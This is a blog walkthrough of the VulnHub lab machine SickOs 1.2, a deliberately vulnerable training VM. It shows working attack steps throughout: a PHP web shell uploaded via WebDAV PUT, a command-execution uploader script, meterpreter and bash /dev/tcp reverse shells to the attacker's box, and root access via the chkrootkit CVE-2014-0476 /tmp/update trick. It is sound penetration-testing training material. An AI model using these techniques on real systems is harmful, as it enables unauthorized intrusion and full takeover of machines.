[Write-up] SickOs 1.2

This post is a walkthrough of the VulnHub machine SickOs 1.2. I previously wrote one for its little sister, SickOs 1.1. I found this second version to be more challenging, but also more realistic; the author tried to mimic what one could encounter during a real engagement – and it does it pretty well.

Discovery

After downloading and running the machine, we see that it was assigned the IP 192.168.2.4. A port scan using nmap reveals ports 80 (HTTP) and 22 (SSH) open.

root@kali:~/sickos2# nmap -A -T5 192.168.2.4

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open http lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We open a web browser, browse to http://192.168.2.4 and see the following page.

The usage of dirb reveals the listable directory /test.

root@kali:~/sickos2# dirb http://192.168.2.4
---- Scanning URL: http://192.168.2.4/ ----
+ http://192.168.2.4/index.php (CODE:200|SIZE:163) 
==> DIRECTORY: http://192.168.2.4/test/

Making a HTTP OPTIONS request on this path shows that /test looks like a WebDAV directory.

root@kali:~/sickos2# curl --head -X OPTIONS 192.168.2.4/test/
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Date: Thu, 15 Jun 2017 16:32:35 GMT
Server: lighttpd/1.4.28

We also note that the web server seems to accept HTTP PUT requests. The PUT method should allow us to upload arbitrary files on the web server. Let’s try it out. We create a file named shell.php containing the following code:

<?php
echo shell_exec("id");
?>

And send a HTTP PUT request using curl.

root@kali:~/sickos2# curl -v -X PUT 192.168.2.4/test/shell.php -d @shell.php

< HTTP/1.1 417 Expectation Failed
< Content-Type: text/html
< Content-Length: 363
< Connection: close
< Date: Thu, 15 Jun 2017 16:38:50 GMT
< Server: lighttpd/1.4.28
< 
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
 <title>417 - Expectation Failed</title>
 </head>
 <body>
 <h1>417 - Expectation Failed</h1>
 </body>
</html

Something must be missing. After a quick Google search, we see that adding an empty Expect HTTP header should fix it.

root@kali:~/sickos2# curl -v -X PUT -H "Expect: " 192.168.2.4/test/shell.php [email protected]
* upload completely sent off: 28 out of 28 bytes
< HTTP/1.1 200 OK
< Content-Length: 0
< Date: Thu, 15 Jun 2017 16:40:47 GMT
< Server: lighttpd/1.4.28
<

Looks much better! We can now browse to 192.168.2.4/test/shell.php and see the output of the UNIX id command, confirming that we were able to upload and execute the PHP script.

We can see that the web server executing PHP is running under the www-data user, which is the default for most web servers.

Exploitation

Now that we know we can upload arbitrary PHP scripts and execute them, let’s try to spawn a shell on the machine. We use msfvenom to generate the appropriate payload.

root@kali:~/sickos2# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.3 LPORT=4444 > shell.php

Note that 192.168.2.3 is the IP of our Kali box, where we will listen for the incoming reverse shell. Using the same command as before, we start by uploading this script on the server.

root@kali:~/sickos2# curl -v -X PUT -H "Expect: " 192.168.2.4/test/shell.php [email protected]

Then, we use Metasploit to catch our reverse shell.

root@kali:~/sickos2# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.2.3
LHOST => 192.168.2.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.2.3:4444 
[*] Starting the payload handler...

Note that the values of LHOST, LPORT and payload must match the ones we used with msfvenom

Then, from another terminal, we trigger the PHP script that will connect back to our attacking machine.

root@kali:~/sickos2# curl 192.168.2.4/test/shell.php

To our disappointment, we see that the script hangs and that our Metasploit handler doesn’t catch a shell. Weird. In order to run commands on the remote machine more efficiently, we can use the following bash script, execute.sh.

#!/bin/bash

exec () {
 payload="<?php echo shell_exec('$1 2>&1'); ?>";
 curl --silent -X PUT 192.168.2.4/test/execute.php -H 'Expect: ' -d "$payload"; 
 result=$(curl 192.168.2.4/test/execute.php 2>/dev/null)
}

while true; do
 echo -n "> "
 read cmd
 exec "$cmd"
 echo $result
done

We can run it to have a pseudo-shell. Each time we’ll enter a command, the script will upload a PHP file containing the code to run it, and call the script.

root@kali:~/sickos2# ./execute.sh
> ls
execute.php
shell.php
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now we can more easily attempt to understand what’s going on. First, we see that we cannot ping our attacking machine (the ping command just hangs). This likely means that some kind of network filtering is in place. Then, we can test outgoing TCP connections on various ports using netcat on both the victim and the attacking machine.

On the attacking machine:

root@kali:~/sickos2# nc -lvp 444

On the victim machine:

> nc -z -w 1 192.168.2.3 4444 && echo "connection successful" || echo "connection failed"

The -z option instructs netcat not to output anything, while the -w 1 option sets a timeout of 1 second.

We see the message connection failed printed, meaning that the machine cannot make an outgoing TCP connection to our port 4444. It’s most likely a firewall preventing us to do so.

The next step is to try several common ports to see if we can find one for which the outgoing TCP traffic is allowed. The easiest way is obviously to script it. 🙂

# We reuse the 'exec' function from above

common_ports="21 22 23 25 80 110 443 8080 8443"
for port in $common_ports; do

 # Start a listener on the port
 nc -lvp $port >/dev/null 2>&1 &
 listener_pid=$!

 # Attempt to connect to it from the vulnerable machine
 exec "nc -z -w 1 192.168.2.3 $port && echo [*] I can connect back to port $port || echo Failed to connect back to port $port"
 echo $result

 # Kill the listener
 kill $listener_pid 2>/dev/null
done

When we run it, we get:

Failed to connect back to port 21
Failed to connect back to port 22
Failed to connect back to port 23
Failed to connect back to port 25
Failed to connect back to port 80
Failed to connect back to port 110
[*] I can connect back to port 443
[*] I can connect back to port 8080
Failed to connect back to port 8443

The machine seems to allow outgoing TCP traffic to ports 443 and 8080. We can therefore listen for our reverse shell on one of those ports. We regenerate our exploit payload with msfvenom and upload it again.

root@kali:~/sickos2# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.3 LPORT=443 > shell.php
root@kali:~/sickos2# curl -v -X PUT -H "Expect: " 192.168.2.4/test/shell.php [email protected]

We kill our previous metasploit handler (CTRL+C), change the port it listens on, run it again:

msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.2.3:443 
[*] Starting the payload handler...

To finish, we trigger our PHP payload:

root@kali:~/sickos2# curl 192.168.2.4/test/shell.php

Aaand we finally have a shell.

[*] Sending stage (33986 bytes) to 192.168.2.5
[*] Meterpreter session 1 opened (192.168.2.3:443 -> 192.168.2.5:40466) at 2017-06-15 11:20:26 -0400

meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686
Meterpreter : php/linux
meterpreter > pwd
/var/www/test

Whenever we will want to work in a classic bash shell rather than meterpreter, we’ll use the following commands.

meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/test$

Privilege escalation

Now that we have a limited shell, our goal is to escalate our privileges to obtain a root access. An enumeration of the system reveals that chkrootkit is installed.

www-data@ubuntu:/var/www/test$ dpkg -l
...
rc chkrootkit 0.49-4ubuntu1.1 rootkit detector

We notice that the installed version (0.49) of chkrootkit has a known vulnerability, namely CVE-2014-0476.

CVE-2014-0476

When I run an exploit, I like to know how it works. If you are not interested in the details, feel free to jump to the next section.

From the initial vulnerability report, we can see that the problematic code in chkrootkit is the following.

slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   [assignment 1]
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   [assignment 2]
   file_port=

   [condition 1]
   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
                                 [assignment 3]
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   [loop 1]
   for i in ${SLAPPER_FILES}; do     
      if [ -f ${i} ]; then
         [execution]
         file_port=$file_port $i
         STATUS=1
      fi
   done
   [...]
}

I have highlighted the relevant parts. The first assignment assigns a list of paths to the variable SLAPPER_FILES, including /tmp/update. The second assignment is probably there for clarity only, and initializes the variable file_port to an empty string. Now, if the code enters in condition 1, this variable is assigned the output of a long command, at assignment 3. This output can be empty. If the code doesn’t enter the condition, file_port will be empty as well.

Then, the [loop 1] iterates over the elements of SLAPPER_FILES (one being, remember, /tmp/update) and stores the current element in the variable i (terrible name, I’ll give you that). Here’s the issue: if it happens that file_port is empty, the line  [execution] will at some point in the loop evaluate to “[empty string][space]/tmp/update”. In other terms, it will run the script /tmp/update instead of passing it as an argument to another command (contained in file_port) as expected.

We suspect that in the context of this system, file_port might indeed be empty and therefore trigger the vulnerability.

Using CVE-2014-0476 to gain root access

Chkrootkit is usually run in a cron job, as root. This can easily be confirmed by looking in the /etc/cron.* directories.

www-data@ubuntu:/$ ls /etc/cron.*
ls: cannot open directory /etc/cron.d: Permission denied
/etc/cron.daily:
apt bsdmainutils dpkg logrotate mlocate popularity-contest
aptitude chkrootkit lighttpd man-db passwd standard

/etc/cron.hourly:

/etc/cron.monthly:

/etc/cron.weekly:
apt-xapian-index man-dbUseful stuff

www-data@ubuntu:/$ ls -lah /etc/cron.daily/chkrootkit
-rwxr-xr-x 1 root root 2.0K Jun 4 2014 /etc/cron.daily/chkrootkit

As we suspected, chkrootkit is being run every day, as root. We create the file /tmp/update with the following contents:

#!/bin/bash
bash -i >& /dev/tcp/192.168.2.3/443 0>&1

When run, this should connect back to our machine with a root shell. Don’t forget to make it executable:

www-data@ubuntu:/$ chmod +x /tmp/update

Once the script is dropped, we exit our meterpreter session (which is still listening on port 443), and have netcat listen on port 443 instead. We could have used metasploit again to trigger and listen to our reverse shell, but using netcat enables us to showcase two different ways of doing it.

root@kali:~/sickos2# nc -lvp 443

Since chkrootkit seems to only run daily, we expect to have to wait until the next day to obtain a root shell. Surprisingly, it comes to us after a few minutes like an early Christmas present!

We can now get the flag, located in the /root directory.

root@ubuntu:~# cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

Post-exploitation investigation

Let’s take a look at how the system was configured, and why things ended up working the way they did.

Firewall rules

First, we notice the file /root/newRule which contains firewall rules.

:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT

Those rules essentially drop all TCP traffic, except the one from port 22 or 80, or to the port 8080 or 443.

Chkrootkit

We’re still wondering why we got our root shell so quickly, when we expected chkrootkit to run only once a day. We find the file /etc/cron.d/chkrootkit with the following contents.

* * * * * root /usr/sbin/chkrootkit

Meaning that chkrootkit is actually run every minute. We couldn’t have access to this information before, because the directory is only readable by root.

Conclusion

This was an interesting VM. I was confused at first when I didn’t manage to spawn up a reverse shell, because I was unsure if it was intended or if I had an issue in my VirtualBox networking configuration. The privilege escalation is original, and shows that enumerating every bit of the system is often useful – even though time consuming.

For those having already passed OSCP or eCPPT, I’d be glad to have some feedback on how this VM relates to the labs in terms of difficulty and techniques used.

Thanks for reading! If you liked this walkthrough, feel free to take a look at the other ones I have written.

2 thoughts on “[Write-up] SickOs 1.2

  1. OSCPer here.
    This VM would be in good company in the Offsec training lab….perhaps with a bit more post exploit enumeration (flags, other nics, docs with CCs etc).

    • Thank you for your input!

Leave a Reply

Your email address will not be published. Required fields are marked *